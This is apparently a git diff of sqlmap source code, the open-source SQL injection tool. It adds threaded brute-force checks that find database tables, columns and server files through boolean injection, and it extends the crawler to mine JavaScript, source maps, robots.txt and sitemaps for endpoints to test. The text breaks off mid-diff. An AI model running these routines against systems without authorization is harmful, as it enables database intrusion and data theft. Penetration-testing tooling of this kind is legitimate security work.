+@stackedmethod +def tableExists(tableFile, regex=None): + if kb.choices.tableExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: + warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) + warnMsg += "for common table existence check" + logger.warning(warnMsg) + + message = "are you sure you want to continue? [y/N] " + kb.choices.tableExists = readInput(message, default='N', boolean=True) + + if not kb.choices.tableExists: + return None + + result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) + + if result: + errMsg = "can't use table existence check because of detected invalid results " + errMsg += "(most likely caused by inability of the used injection " + errMsg += "to distinguish erroneous results)" + raise SqlmapDataException(errMsg) + + pushValue(conf.db) + + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.db = conf.db.upper() + + message = "which common tables (wordlist) file do you want to use?\n" + message += "[1] default '%s' (press Enter)\n" % tableFile + message += "[2] custom" + choice = readInput(message, default='1') + + if choice == '2': + message = "what's the custom common tables file location?\n" + tableFile = readInput(message) or tableFile + + infoMsg = "performing table existence using items from '%s'" % tableFile + logger.info(infoMsg) + + tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) + tables.extend(_addPageTextWords()) + tables = filterListValue(tables, regex) + + for conf.db in (conf.db.split(',') if conf.db else [conf.db]): + if conf.db and METADB_SUFFIX not in conf.db: + infoMsg = "checking database '%s'" % conf.db + logger.info(infoMsg) + + threadData = getCurrentThreadData() + threadData.shared.count = 0 + threadData.shared.limit = len(tables) + threadData.shared.files = [] + threadData.shared.unique = set() + + def tableExistsThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + kb.locks.count.acquire() + if threadData.shared.count < threadData.shared.limit: + table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) + threadData.shared.count += 1 + kb.locks.count.release() + else: + kb.locks.count.release() + break + + if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + fullTableName = "%s.%s" % (conf.db, table) + else: + fullTableName = table + + if Backend.isDbms(DBMS.MCKOI): + _ = randomInt(1) + result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName))) + else: + result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) + + kb.locks.io.acquire() + + if result and table.lower() not in threadData.shared.unique: + threadData.shared.files.append(table) + threadData.shared.unique.add(table.lower()) + + if conf.verbose in (1, 2) and not conf.api: + clearConsoleLine(True) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) + dataToStdout(infoMsg, True) + + if conf.verbose in (1, 2): + status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) + + kb.locks.io.release() + + try: + runThreads(conf.threads, tableExistsThread, threadChoice=True) + except KeyboardInterrupt: + warnMsg = "user aborted during table existence " + warnMsg += "check. sqlmap will display partial output" + logger.warning(warnMsg) + + clearConsoleLine(True) + dataToStdout("\n") + + if not threadData.shared.files: + warnMsg = "no table(s) found" + if conf.db: + warnMsg += " for database '%s'" % conf.db + logger.warning(warnMsg) + else: + for item in threadData.shared.files: + if conf.db not in kb.data.cachedTables: + kb.data.cachedTables[conf.db] = [item] + else: + kb.data.cachedTables[conf.db].append(item) + + for _ in ((conf.db, item) for item in threadData.shared.files): + if _ not in kb.brute.tables: + kb.brute.tables.append(_) + + conf.db = popValue() + hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) + + return kb.data.cachedTables + +def columnExists(columnFile, regex=None): + if kb.choices.columnExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: + warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) + warnMsg += "for common column existence check" + logger.warning(warnMsg) + + message = "are you sure you want to continue? [y/N] " + kb.choices.columnExists = readInput(message, default='N', boolean=True) + + if not kb.choices.columnExists: + return None + + if not conf.tbl: + errMsg = "missing table parameter" + raise SqlmapMissingMandatoryOptionException(errMsg) + + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.db = conf.db.upper() + + result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) + + if result: + errMsg = "can't use column existence check because of detected invalid results " + errMsg += "(most likely caused by inability of the used injection " + errMsg += "to distinguish erroneous results)" + raise SqlmapDataException(errMsg) + + message = "which common columns (wordlist) file do you want to use?\n" + message += "[1] default '%s' (press Enter)\n" % columnFile + message += "[2] custom" + choice = readInput(message, default='1') + + if choice == '2': + message = "what's the custom common columns file location?\n" + columnFile = readInput(message) or columnFile + + infoMsg = "checking column existence using items from '%s'" % columnFile + logger.info(infoMsg) + + columns = getFileItems(columnFile, unique=True) + columns.extend(_addPageTextWords()) + columns = filterListValue(columns, regex) + + for table in conf.tbl.split(','): + table = safeSQLIdentificatorNaming(table, True) + + if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) + + kb.threadContinue = True + kb.bruteMode = True + + threadData = getCurrentThreadData() + threadData.shared.count = 0 + threadData.shared.limit = len(columns) + threadData.shared.files = [] + + def columnExistsThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + kb.locks.count.acquire() + + if threadData.shared.count < threadData.shared.limit: + column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) + threadData.shared.count += 1 + kb.locks.count.release() + else: + kb.locks.count.release() + break + + if Backend.isDbms(DBMS.MCKOI): + result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table))) + else: + result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) + + kb.locks.io.acquire() + + if result: + threadData.shared.files.append(column) + + if conf.verbose in (1, 2) and not conf.api: + clearConsoleLine(True) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) + dataToStdout(infoMsg, True) + + if conf.verbose in (1, 2): + status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) + + kb.locks.io.release() + + try: + runThreads(conf.threads, columnExistsThread, threadChoice=True) + except KeyboardInterrupt: + warnMsg = "user aborted during column existence " + warnMsg += "check. sqlmap will display partial output" + logger.warning(warnMsg) + finally: + kb.bruteMode = False + + clearConsoleLine(True) + dataToStdout("\n") + + if not threadData.shared.files: + warnMsg = "no column(s) found" + logger.warning(warnMsg) + else: + columns = {} + + for column in threadData.shared.files: + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): + result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table))) + else: + result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) + + if result: + columns[column] = "numeric" + else: + columns[column] = "non-numeric" + + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][table] = columns + + for _ in ((conf.db, table, item[0], item[1]) for item in columns.items()): + if _ not in kb.brute.columns: + kb.brute.columns.append(_) + + hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) + + return kb.data.cachedColumns + +@stackedmethod +def fileExists(pathFile): + retVal = [] + + message = "which common files file do you want to use?\n" + message += "[1] default '%s' (press Enter)\n" % pathFile + message += "[2] custom" + choice = readInput(message, default='1') + + if choice == '2': + message = "what's the custom common files file location?\n" + pathFile = readInput(message) or pathFile + + infoMsg = "checking files existence using items from '%s'" % pathFile + logger.info(infoMsg) + + paths = getFileItems(pathFile, unique=True) + + kb.bruteMode = True + + try: + conf.dbmsHandler.readFile(randomStr()) + except SqlmapNoneDataException: + pass + except: + kb.bruteMode = False + raise + + threadData = getCurrentThreadData() + threadData.shared.count = 0 + threadData.shared.limit = len(paths) + threadData.shared.files = [] + + def fileExistsThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + kb.locks.count.acquire() + if threadData.shared.count < threadData.shared.limit: + path = ntToPosixSlashes(paths[threadData.shared.count]) + threadData.shared.count += 1 + kb.locks.count.release() + else: + kb.locks.count.release() + break + + try: + result = unArrayizeValue(conf.dbmsHandler.readFile(path)) + except SqlmapNoneDataException: + result = None + + kb.locks.io.acquire() + + if not isNoneValue(result): + threadData.shared.files.append(result) + + if not conf.api: + clearConsoleLine(True) + infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path) + dataToStdout(infoMsg, True) + + if conf.verbose in (1, 2): + status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) + + kb.locks.io.release() + + try: + runThreads(conf.threads, fileExistsThread, threadChoice=True) + except KeyboardInterrupt: + warnMsg = "user aborted during file existence " + warnMsg += "check. sqlmap will display partial output" + logger.warning(warnMsg) + finally: + kb.bruteMode = False + + clearConsoleLine(True) + dataToStdout("\n") + + if not threadData.shared.files: + warnMsg = "no file(s) found" + logger.warning(warnMsg) + else: + retVal = threadData.shared.files + + return retVal diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index b76fd3df9af..05cc4a6b4e7 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,44 +1,193 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import httplib +from __future__ import division + +import bisect +import json import os import re -import urlparse import tempfile import time +from itertools import islice + +from lib.core.common import checkSameHost from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout +from lib.core.common import extractRegexResult from lib.core.common import findPageForms +from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import safeCSValue +from lib.core.common import urldecode +from lib.core.compat import xrange +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import OrderedSet +from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSyntaxException from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS +from lib.core.settings import JAVASCRIPT_ENDPOINT_REGEX +from lib.core.settings import MAX_JAVASCRIPT_ENDPOINTS +from lib.core.settings import MAX_JAVASCRIPT_FOLD_DISTANCE +from lib.core.settings import MAX_JAVASCRIPT_MINE_SIZE +from lib.core.settings import MAX_ROBOTS_ENTRIES +from lib.core.settings import WELL_KNOWN_ENDPOINT_PATHS from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.parse.sitemap import parseSitemap from lib.request.connect import Connect as Request +from thirdparty import six from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup -from thirdparty.oset.pyoset import oset +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib + +def _inScope(url, target): + """Single predicate governing every crawler request/result: honor --scope if set, else same-host.""" + + return (re.search(conf.scope, url, re.I) is not None) if conf.scope else checkSameHost(url, target) + +def _mineJavaScript(content, base): + """Extract candidate API endpoints referenced inside a JavaScript bundle - the fetch/axios/XHR + targets and absolute-path string literals that power single-page apps and are invisible to + href/src scraping. Returns [(absoluteURL, parametrized), ...] (capped, static assets dropped); + 'parametrized' marks a path templated with a dynamic segment (e.g. `/user/${id}` -> `/user/1`) + or carrying a query string, i.e. a directly testable target rather than a page merely to crawl. + + Light constant folding resolves the common `var base="/api"; fetch(base+"/users")` idiom that + plain literal scraping would split into two useless halves. + + >>> r = _mineJavaScript('fetch("/api/users?id=1");x="/img/logo.png";t=`/user/${i}/x`', "http://h/a.js") + >>> ("http://h/api/users?id=1", True) in r and ("http://h/user/1/x", False) in r # query -> target, template -> crawl only + True + >>> any(_.endswith("logo.png") for _, __ in r) + False + >>> r = _mineJavaScript('var base="/api/v1";fetch(base+"/users")', "http://h/a.js") + >>> ("http://h/api/v1/users", False) in r # folded ... + True + >>> any(_ == "http://h/users" for _, __ in r) # ... and only THIS folded suffix occurrence is dropped + False + """ + + content = content[:MAX_JAVASCRIPT_MINE_SIZE] # endpoints live near the top; bound the work on a hostile bundle + _template = r"\$\{[^}]*\}|:[A-Za-z_]\w*|\{[A-Za-z_.]+\}|<[A-Za-z_]\w*>" + + # index path/URL-valued string constants by name (positions ascending) so a `<name> + "/suffix"` + # concatenation resolves against the NEAREST PRECEDING assignment via binary search - minified bundles + # reuse identifiers (a global last-wins map would fold the wrong value) and can hold tens of thousands + # of assignments (a linear scan per concatenation would be quadratic) + byName = {} + for match in re.finditer(r"""(?:\b(?:var|let|const)\s+|[,{(]\s*)(?P<name>\w+)\s*[:=]\s*["'`](?P<value>(?:https?:)?/[^"'`\s]{0,256})["'`]""", content): + byName.setdefault(match.group("name"), ([], [])) + byName[match.group("name")][0].append(match.start()) + byName[match.group("name")][1].append(match.group("value")) + + candidates = [] # (spanStart, text): spanStart correlates a folded suffix to the literal it consumes + for match in re.finditer(r"""(?P<name>\w+)\s*\+\s*["'`](?P<suffix>/[^"'`\s]{0,256})["'`]""", content): + entry = byName.get(match.group("name")) + if entry: + index = bisect.bisect_left(entry[0], match.start()) - 1 + # best-effort, deliberately not a JS parser: fold only against a NEARBY preceding assignment so a + # far-away or differently-scoped `var base=...` (e.g. inside another function) is not mis-applied + if index >= 0 and match.start() - entry[0][index] <= MAX_JAVASCRIPT_FOLD_DISTANCE: + candidates.append((match.start("suffix"), entry[1][index].rstrip("/") + match.group("suffix"))) + folded = set(_[0] for _ in candidates) # exact source spans consumed by folding + for match in re.finditer(JAVASCRIPT_ENDPOINT_REGEX, content): + if match.start("result") not in folded: # suppress only THIS occurrence, not every same-text literal + candidates.append((match.start("result"), match.group("result"))) + + candidates.sort(key=lambda _: _[0]) # process in source order so the endpoint cap keeps the earliest, not every folded one first + + results = [] + seen = set() + for _, candidate in candidates: + if any(_ in candidate for _ in ("\\", "^", "*", " ")): # regex/glob fragments, not endpoints + continue + candidate = re.sub(_template, "1", candidate) # concrete, crawlable path segment + url = _urllib.parse.urljoin(base, candidate) + if not re.search(r"(?i)\Ahttps?://[^/]+/", url): # must resolve to an absolute http(s) URL + continue + if (extractRegexResult(r"\A[^?#]+\.(?P<result>\w+)([?#]|\Z)", url) or "").lower() in CRAWL_EXCLUDE_EXTENSIONS: + continue + # only a real query parameter makes a URL a directly testable target; a path with a (substituted) + # dynamic segment is crawled, not marked, because sqlmap's URI injection needs the '*' marker at the + # right segment (a middle template like /user/1/x would otherwise be mis-tested at its end) + isTarget = re.search(r"\?.*\b\w+=", url) is not None + if url not in seen: + seen.add(url) + results.append((url, isTarget)) + if len(results) >= MAX_JAVASCRIPT_ENDPOINTS: + break + + return results + +def _sourceMapEndpoints(mapContent, base): + """A '//# sourceMappingURL=' map ships the original, un-minified sources in 'sourcesContent'; + mining those recovers endpoints (and pre-minification structure) that the bundle alone hides - + a trick commercial crawlers (Burp, Acunetix) lean on. Returns the same shape as _mineJavaScript.""" + + if len(mapContent) > 8 * MAX_JAVASCRIPT_MINE_SIZE: # do not json-parse an oversized (hostile) map into RAM + return [] + try: + data = json.loads(mapContent) + except ValueError: + return [] + sources = data.get("sourcesContent") if isinstance(data, dict) else None + if not isinstance(sources, (list, tuple)): # a valid JSON map may carry a non-array here + return [] + parts = [] + size = 0 + for source in sources: # join a bounded slice (avoid repeated string realloc) + if isinstance(source, six.text_type): + parts.append(source[:MAX_JAVASCRIPT_MINE_SIZE - size]) + size += len(parts[-1]) + if size >= MAX_JAVASCRIPT_MINE_SIZE: + break + return _mineJavaScript("\n".join(parts), base) if parts else [] + +def crawl(target, post=None, cookie=None): + if not target: + return -def crawl(target): try: visited = set() threadData = getCurrentThreadData() - threadData.shared.value = oset() + threadData.shared.value = OrderedSet() + threadData.shared.formsFound = False + # host-level recon (robots/well-known/sitemap) runs on this thread and carries the session cookie; + # confine its redirects to scope (reset in 'finally' so later requests on this thread are unaffected) + threadData.crawlRedirectFilter = lambda url: _inScope(url, target) def crawlThread(): threadData = getCurrentThreadData() + # confine this worker's redirects (e.g. a source-map fetch) to scope; reset in 'finally' so a pooled + # thread later reused for injection is not left restricted to the crawl scope + threadData.crawlRedirectFilter = lambda url: _inScope(url, target) + + try: + _crawlThreadLoop(threadData) + finally: + threadData.crawlRedirectFilter = None + + def _crawlThreadLoop(threadData): + def consume(endpoints): + # feed mined endpoints through the same scope-check + deeper/value flow as scraped links + for url, isTarget in endpoints: + if not _inScope(url, target): + continue + with kb.locks.value: + threadData.shared.deeper.add(url) + if isTarget: + threadData.shared.value.add(url) while kb.threadContinue: with kb.locks.limit: @@ -58,23 +207,54 @@ def crawlThread(): content = None try: if current: - content = Request.getPage(url=current, crawling=True, raise404=False)[0] - except SqlmapConnectionException, ex: - errMsg = "connection exception detected (%s). skipping " % ex + content = Request.getPage(url=current, post=post, cookie=None, crawling=True, raise404=False)[0] + except SqlmapConnectionException as ex: + errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) except SqlmapSyntaxException: errMsg = "invalid URL detected. skipping '%s'" % current logger.critical(errMsg) - except httplib.InvalidURL, ex: - errMsg = "invalid URL detected (%s). skipping " % ex + except _http_client.InvalidURL as ex: + errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) if not kb.threadContinue: break - if isinstance(content, unicode): + if isinstance(content, six.text_type) and (current or "").split("?", 1)[0].lower().endswith((".js", ".mjs")): + try: + consume(_mineJavaScript(content, current)) + # follow a source map ('//# sourceMappingURL=') to the original un-minified sources; + # the URL is attacker-controlled, so it must stay same-host/in-scope (no SSRF) and be + # fetched at most once + smatch = re.search(r"(?m)[#@]\s*sourceMappingURL\s*=\s*(?P<url>[^\s'\"]+)", content) + if smatch and not smatch.group("url").startswith("data:"): + mapURL = _urllib.parse.urljoin(current, smatch.group("url")) + with kb.locks.value: + fetch = mapURL.startswith(("http://", "https://")) and _inScope(mapURL, target) and mapURL not in visited + if fetch: + visited.add(mapURL) + if fetch: # GET the static map (not a re-POST) and keep the auth cookie + mapContent = Request.getPage(url=mapURL, post=None, cookie=cookie, crawling=True, raise404=False)[0] + # a same-host map that redirected off-scope must not have its (authenticated) body used + redirected = threadData.lastRedirectURL[1] if (threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID) else None + if isinstance(mapContent, six.text_type) and (redirected is None or _inScope(redirected, target)): + consume(_sourceMapEndpoints(mapContent, current)) + except (ValueError, SqlmapConnectionException): + pass + elif isinstance(content, six.text_type) and content[:64].lstrip()[:1] in ("{", "["): + try: # a JSON API response: mine embedded resource links (REST/HATEOAS, pagination) + consume(_mineJavaScript(content, current)) + except ValueError: + pass + elif isinstance(content, six.text_type): + # base for resolving links AND forms: the redirect target (if any), refined by <base href> + # below; defined before the try so the 'finally' can rely on it even if parsing fails + linkBase = current + if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: + linkBase = threadData.lastRedirectURL[1] try: match = re.search(r"(?si)<html[^>]*>(.+)</html>", content) if match: @@ -83,36 +263,66 @@ def crawlThread(): soup = BeautifulSoup(content) tags = soup('a') - if not tags: - tags = re.finditer(r'(?si)<a[^>]+href="(?P<href>[^>"]+)"', content) + tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content) + tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content) + # URL-bearing data-* attributes and navigational sinks that mature crawlers also follow. + # Note: <form action>/formaction are intentionally NOT scraped here - they need method + + # field semantics (handled by --forms/findPageForms), and data-action usually holds a + # command name, not a URL + tags += re.finditer(r'(?i)\s(?:data-(?:url|href|src|link|api|endpoint))=["\'](?P<href>[^>"\']+)', content) + tags += re.finditer(r'(?i)<meta[^>]+?http-equiv=["\']?refresh\b[^>]+?url=(?P<href>[^"\'>\s;]+)', content) + tags += re.finditer(r'(?i)<object\b[^>]*?\sdata=["\'](?P<href>[^>"\']+)', content) + + # honor <base href> for correct relative-URL resolution, but only if it stays in scope - + # a cross-origin <base> must not become the resolution base for links or (via linkBase) forms + baseTag = re.search(r'(?i)<base[^>]+?href=["\'](?P<href>[^"\'>]+)', content) + if baseTag: + rebased = _urllib.parse.urljoin(linkBase, htmlUnescape(baseTag.group("href"))) + if (re.search(conf.scope, rebased, re.I) if conf.scope else checkSameHost(rebased, target)): + linkBase = rebased for tag in tags: href = tag.get("href") if hasattr(tag, "get") else tag.group("href") if href: - if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: - current = threadData.lastRedirectURL[1] - url = urlparse.urljoin(current, href) + url = _urllib.parse.urldefrag(_urllib.parse.urljoin(linkBase, htmlUnescape(href)))[0] - # flag to know if we are dealing with the same target host - _ = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], (url, target))) - - if conf.scope: - if not re.search(conf.scope, url, re.I): - continue - elif not _: + if not _inScope(url, target): continue - if url.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS: + extension = (extractRegexResult(r"\A[^?#]+\.(?P<result>\w+)([?#]|\Z)", url) or "").lower() + if extension in ("js", "mjs"): + with kb.locks.value: # enqueue the bundle so its endpoints get mined + threadData.shared.deeper.add(url) + elif extension not in CRAWL_EXCLUDE_EXTENSIONS: with kb.locks.value: threadData.shared.deeper.add(url) - if re.search(r"(.*?)\?(.+)", url): + if re.search(r"(.*?)\?(.+)", url) and not re.search(r"\?(v=)?\d+\Z", url) and not re.search(r"(?i)\.(m?js|css)(\?|\Z)", url): threadData.shared.value.add(url) + + # inline <script> blocks (no external src), including SPA hydration state such as + # __NEXT_DATA__ / __NUXT__ / window.__INITIAL_STATE__, carry API URLs and fetch calls; + # concatenate under one page-wide byte budget so a page of many tiny scripts cannot + # multiply past the per-mine endpoint cap + inline = [] + inlineSize = 0 + for script in re.finditer(r"(?is)<script(?![^>]*\bsrc\s*=)[^>]*>(.+?)</script>", content): + body = script.group(1)[:MAX_JAVASCRIPT_MINE_SIZE - inlineSize] + inline.append(body) + inlineSize += len(body) + if inlineSize >= MAX_JAVASCRIPT_MINE_SIZE: + break + if inline: + consume(_mineJavaScript("\n".join(inline), linkBase)) except UnicodeEncodeError: # for non-HTML files pass + except ValueError: # for non-valid links + pass + except AssertionError: # for invalid HTML + pass finally: if conf.forms: - findPageForms(content, current, False, True) + threadData.shared.formsFound |= len(findPageForms(content, linkBase, False, True)) > 0 if conf.verbose in (1, 2): threadData.shared.count += 1 @@ -122,30 +332,109 @@ def crawlThread(): threadData.shared.deeper = set() threadData.shared.unprocessed = set([target]) - if not conf.sitemapUrl: - message = "do you want to check for the existence of " - message += "site's sitemap(.xml) [y/N] " - test = readInput(message, default="n") - if test[0] in ("y", "Y"): - items = None - url = urlparse.urljoin(target, "/sitemap.xml") + _ = re.sub(r"(?<!/)/(?!/).*", "", target) + if _: + if target.strip('/') != _.strip('/'): + threadData.shared.unprocessed.add(_) + + if re.search(r"\?.*\b\w+=", target): + threadData.shared.value.add(target) + + # host-level recon (robots.txt + well-known endpoint directories) is done at most once per host so a + # multi-target run does not re-probe (and re-404) the same host over and over + _split = _urllib.parse.urlsplit(target) + crawlHost = ("%s://%s" % (_split.scheme, _split.netloc)).lower() # scheme+netloc dedup key (finer than the host-level scope predicate on purpose - never re-probe the same origin) + with kb.locks.value: # atomic check-and-claim so concurrent target crawls do not double-probe a host + reconHost = bool(_split.netloc) and crawlHost not in kb.crawledHosts + if reconHost: + kb.crawledHosts.add(crawlHost) + + # every sitemap source (robots.txt 'Sitemap:' lines AND the /sitemap.xml guess below) shares ONE fetch/URL + # budget and ONE visited set, so a hostile robots.txt advertising many roots cannot multiply the per-root + # limits into ~100k fetches, and a sitemap listed twice is fetched once + sitemapItems = OrderedSet() + sitemapVisited = set() + + # robots.txt Disallow/Allow entries expose unlinked paths (admin panels, API roots) that crawlers + # (Burp, Acunetix) routinely harvest as seeds; the file itself must be in scope before it is fetched + robotsUrl = _urllib.parse.urljoin(target, "/robots.txt") + try: + robots = Request.getPage(url=robotsUrl, post=None, cookie=cookie, crawling=True, raise404=False)[0] if (reconHost and _inScope(robotsUrl, target)) else None + except Exception: + robots = None + if isinstance(robots, six.text_type): + # ONE combined budget across Disallow/Allow and Sitemap lines, consumed lazily (islice over finditer) + # so a huge/repetitive robots.txt is neither fully materialized nor over-processed + remaining = MAX_ROBOTS_ENTRIES + for match in islice(re.finditer(r"(?im)^\s*(?:dis)?allow\s*:\s*(/\S*)", robots), remaining): + remaining -= 1 + path = match.group(1) + if any(_ in path for _ in "*$"): # a pattern, not a concrete path + continue + url = _urllib.parse.urljoin(target, path) + if _inScope(url, target) and (extractRegexResult(r"\A[^?#]+\.(?P<result>\w+)([?#]|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS: + threadData.shared.unprocessed.add(url) + if re.search(r"\?.*\b\w+=", url): + threadData.shared.value.add(url) + + # follow the sitemaps robots.txt advertises into the SHARED budget/visited; the advertised URL AND every + # nested sitemap parseSitemap fetches recursively must pass the same scope predicate (enforced inside) + for match in islice(re.finditer(r"(?im)^\s*sitemap\s*:\s*(https?://\S+)", robots), max(remaining, 0)): + sitemapUrl = match.group(1) + if not _inScope(sitemapUrl, target): + continue try: - items = parseSitemap(url) - except: + parseSitemap(sitemapUrl, retVal=sitemapItems, visited=sitemapVisited, urlFilter=lambda _: _inScope(_, target)) + except Exception: pass - finally: - if items: - for item in items: - if re.search(r"(.*?)\?(.+)", item): - threadData.shared.value.add(item) - if conf.crawlDepth > 1: - threadData.shared.unprocessed.update(items) - logger.info("%s links found" % ("no" if not items else len(items))) - - infoMsg = "starting crawler" - if conf.bulkFile: - infoMsg += " for target URL '%s'" % target - logger.info(infoMsg) + + # heuristic path discovery from self-describing JSON documents (OIDC discovery, OpenAPI/Swagger). + # this mines endpoint-looking strings, NOT a full OpenAPI model - basePath/servers are not merged and + # $ref/examples are not resolved; '--openapi' does exact API enumeration + for path in (WELL_KNOWN_ENDPOINT_PATHS if reconHost else ()): + probe = _urllib.parse.urljoin(target, path) + if probe in visited or not _inScope(probe, target): + continue + visited.add(probe) + try: + blob = Request.getPage(url=probe, post=None, cookie=cookie, crawling=True, raise404=False)[0] + except Exception: + blob = None + if isinstance(blob, six.text_type) and blob[:64].lstrip()[:1] in ("{", "["): + for url, isTarget in _mineJavaScript(blob, probe): + if _inScope(url, target): + threadData.shared.unprocessed.add(url) + if isTarget: + threadData.shared.value.add(url) + + if kb.checkSitemap is None: + message = "do you want to check for the existence of " + message += "site's sitemap(.xml) [y/N] " + kb.checkSitemap = readInput(message, default='N', boolean=True) + + url = _urllib.parse.urljoin(target, "/sitemap.xml") + if kb.checkSitemap and _inScope(url, target): + try: # into the same shared budget/visited as the robots sitemaps + parseSitemap(url, retVal=sitemapItems, visited=sitemapVisited, urlFilter=lambda _: _inScope(_, target)) + except SqlmapConnectionException as ex: + if "page not found" in getSafeExString(ex): + logger.warning("'sitemap.xml' not found") + except: + pass + + # single consumption of every sitemap-derived URL (already scope-filtered inside parseSitemap): a URL with + # GET parameters is a target, and - at depth > 1 - all are queued for further crawling + if sitemapItems: + for item in sitemapItems: + if re.search(r"\?.*\b\w+=", item): + threadData.shared.value.add(item) + if conf.crawlDepth > 1: + threadData.shared.unprocessed.add(item) + logger.info("%d link(s) found via sitemap(s)" % len(sitemapItems)) + + if not conf.bulkFile: + infoMsg = "starting crawler for target URL '%s'" % target + logger.info(infoMsg) for i in xrange(conf.crawlDepth): threadData.shared.count = 0 @@ -155,7 +444,7 @@ def crawlThread(): if not conf.bulkFile: logger.info("searching for links with depth %d" % (i + 1)) - runThreads(numThreads, crawlThread, threadChoice=(i>0)) + runThreads(numThreads, crawlThread, threadChoice=(i > 0)) clearConsoleLine(True) if threadData.shared.deeper: @@ -166,19 +455,58 @@ def crawlThread(): except KeyboardInterrupt: warnMsg = "user aborted during crawling. sqlmap " warnMsg += 